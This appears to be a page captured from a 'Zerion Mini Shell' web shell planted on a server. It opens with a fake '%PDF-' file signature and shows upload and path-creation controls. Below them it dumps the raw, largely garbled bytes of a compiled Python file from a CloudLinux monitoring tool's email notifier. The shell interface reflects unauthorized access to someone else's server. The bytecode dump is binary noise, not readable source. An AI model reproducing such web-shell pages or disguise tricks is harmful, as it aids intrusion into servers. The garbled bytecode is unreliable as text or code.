%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python37/lib/python3.7/site-packages/wmt/common/__pycache__/
Upload File :
Create Path :
Current File : //opt/alt/python37/lib/python3.7/site-packages/wmt/common/__pycache__/notification.cpython-37.pyc

B

��wa}%�@s ddlZddlZddlZddlZddlmZddlmZmZddlm	Z	ddl
mZddlm
Z
ddlmZmZddlmZmZmZdd	lmZdd
lmZddlmZdd
dddgddgddgd�ZGdd�d�ZeGdd�d��ZeGdd�d��ZeGdd�d��ZeGdd�d��Z dS)�N)�	dataclass)�	timedelta�datetime)�Header)�
MIMEMultipart)�MIMEText)�PrettyTable�ALL)�WMT_TEMPLATES_DIR�&LICENSE_EXPIRED_FAREWELL_LETTER_MARKER�	JWT_TOKEN)�WmtEmailException)�clemail)�
MailHelperZAllZ
SuccessfulZFailedZUndonezAverage time (ms)ZURLzError codes)�summary_report�error_report�duration_reportc@seZdZdZdZdZdS)�SupportedNotificationTypesZalert�reportZfarewellN)�__name__�
__module__�__qualname__�ALERT�REPORT�FAREWELL�rr�H/opt/alt/python37/lib/python3.7/site-packages/wmt/common/notification.pyr#src@s&eZdZUeed<eed<eed<dS)�Email�subject�text_sample�html_sampleN)rrr�str�__annotations__rrrrr)s
rc@seZdZUeed<eed<dS)�EmailReport�text_option�html_optionN)rrrr!r"rrrrr#0s
r#c@sveZdZUeed<eed<dZeed<dZeed<dZeed<dZ	eed<d	Z
eed
<edd��Zd
d�Z
dd�ZdS)�
EmailTemplate�target_mail�	from_mailNrrrZ
Administrator�target_nameZen_US�localec	Cs<tj�td�}t|d��}t�|����d�}WdQRX|S)Nzlogo.png�rbzutf-8)	�os�path�joinr
�open�base64Z	b64encode�read�decode)Z	logo_pathZlogoZlogo_img_encodedrrr�	_get_logoBszEmailTemplate._get_logocCsT|j|d�}|tjtjgkr.|�d|jji�|tjkrP|�|jj|jjd��|S)zI
        Convert to txt template keys
        see wmt_notify.txt
        )�TONAME�DATEZERROR_REPORT)ZSUMMARY_REPORTZDURATION_REPORT)	r)rrr�updaterr$rr)�self�date�notify_type�templaterrr�to_text_templateIs
zEmailTemplate.to_text_templatecCsZ|j||��d�}|tjtjgkr4|�d|jji�|tjkrV|�|jj|j	jd��|S)zK
        Convert to html template keys
        see wmt_notify.html
        )r4r5ZLOGOZERROR_HTML_REPORT)ZSUMMARY_HTML_REPORTZDURATION_HTML_REPORT)
r)r3rrrr6rr%rr)r7r8r9r:rrr�to_html_template]s
zEmailTemplate.to_html_template)rrrr!r"rr#rrr)r*�staticmethodr3r;r<rrrrr&6s
r&c@s�eZdZUeed<eed<eed<eed<eed�dd��Zedd	��Z	d
d�Z
dd
�Zedd��Ze
d�dd�Zdd�Zed�dd�Zed�dd�Zed�dd�ZdS)�Notifier�target_email�
from_emailr�notification_type)�returncCs�|jtjkr&t�t��tdd�d�S|jtjkrBt�t��d�S|jtjkr�t	j
�t�s^dSt
�
�t	j
�t�}t|d�}|dkr�t|��d�St|d	�}t|��d
�Sntd|j����dS)N�)�daysz%Y-%m-%dz%Y-%m-%d %H:%M:%S�i�Qrz day(s) agoiz hour(s) agozunexpected notifier type: )rArrrZstrftimeZnowrrrr,r-�existsr�time�getmtime�intr!�NotImplementedError)r7ZsecondsrDZhoursrrr�periodzszNotifier.periodcCsttd���dS)N�w)r/r�closerrrr�create_farewell_letter_marker�sz&Notifier.create_farewell_letter_markercCsDt�}|��}|�|�}|�|j|jg|�|jtjkr@|�	�dS)N)
r�_generate_template_data�_generate_final_messageZsendmailr(r'rArrrN)r7Zmail_managerr:�messagerrr�notify�s
zNotifier.notifycCs�|jtjkr(tj�td�tj�td�fS|jtjkrPtj�td�tj�td�fS|jtjkrxtj�td�tj�td�fSt	d|j����dS)Nzwmt_notify_solo.txtzwmt_notify_solo.htmlz
wmt_alert.txtzwmt_alert.htmlzwmt_farewell_solo.txtzwmt_farewell_solo.htmlzunexpected notifier type: )
rArrr,r-r.r
rrrJ)r7rrr�_get_templates�szNotifier._get_templatescCst|S)N)�HEADERS_REPORT_MAPPING)�sectionrrr�_get_table_headers�szNotifier._get_table_headerscCshd|j��}|�d|�}|�d|�}|r0|��n|}|rJ|jddttd�n|}t|t�|�dd��d�S)	NzNo domains for �text�htmlT)�formatZborderZhrulesZvrulesztext-align: centerztext-align: left)r$r%)	rK�
_get_tableZ
get_stringZget_html_stringr	r#rXZunescape�replace)r7rUZno_domains_messageZ
text_tableZ
html_tableZtext_final_strZhtml_final_strrrr�_generate_tables�szNotifier._generate_tablescCsX|j|}|sdSt|�|��}d|_t|t�s6|g}x|D]}|�|�|��q<W|S)N�l)rrrVZalign�
isinstance�listZadd_rowZto_template)r7�alternativerUZ
table_data�table�rowrrrrZ�s


zNotifier._get_tablecCsf|j|jd�}|jtjtjgkr4|�d|�d�i�|jtjkr\|�|�d�|�d�d��tf|�S)N)r'r(rrr)rr)	r?r@rArrrr6r\r&)r7r:rrrrO�s
z Notifier._generate_template_data)rc

Cs|��\}}tj�|�r$tj�|�s:td|�d|�d���y�|j}d|j�d|��}|jtjkrvd|j�	��d|��}|jtj
kr�d|j��}tjj
||�||j�|d	�\}}tjj
||�||j�|d	�\}}Wn8tjjjk
�r}	ztd
|	����Wdd}	~	XYnXt|||d�S)Nz unable to find email templates: z, z. Try to reinstall packagezWeb Monitoring Tool z for �[z] z1[EXPIRED CloudLinux LICENSE] Web Monitoring Tool )Z
templ_datarzcannot generate email, reason: )rrr )rSr,r-rFr
rKrArr�upperrrZClEmailZgenerate_mail_jinja2r;r<Zjinja2�
exceptionsZ
TemplateErrorr)
r7rZ
text_templateZ
html_templaterKr�	text_body�_�	html_body�errr�_generate_email�s& zNotifier._generate_email)�
template_datacCs�|�|�}|j�dd��d�}|j�dd��d�}td�}|�t|dd��|�t|dd��t|j	d���|d<|j
|d<|j|d<|S)	Nzutf-8�xmlcharrefreplacer`ZplainrXZSubjectZFromZTo)rjr�encoder2r rZattachrrrr(r')r7rkZemailrfrhrQrrrrP�s


z Notifier._generate_final_messageN)rrrr!r"�dict�propertyrKr=rNrRrSrVr#r\rZr&rOrjrPrrrrr>ss

r>)!rXr,r0rGZdataclassesrrrZemail.headerrZemail.mime.multipartrZemail.mime.textrZprettytablerr	Zwmt.common.constr
rrZwmt.common.exceptionsr
ZclcommonrZclcommon.mail_helperrrTrrr#r&r>rrrr�<module>s6
=

Zerion Mini Shell 1.0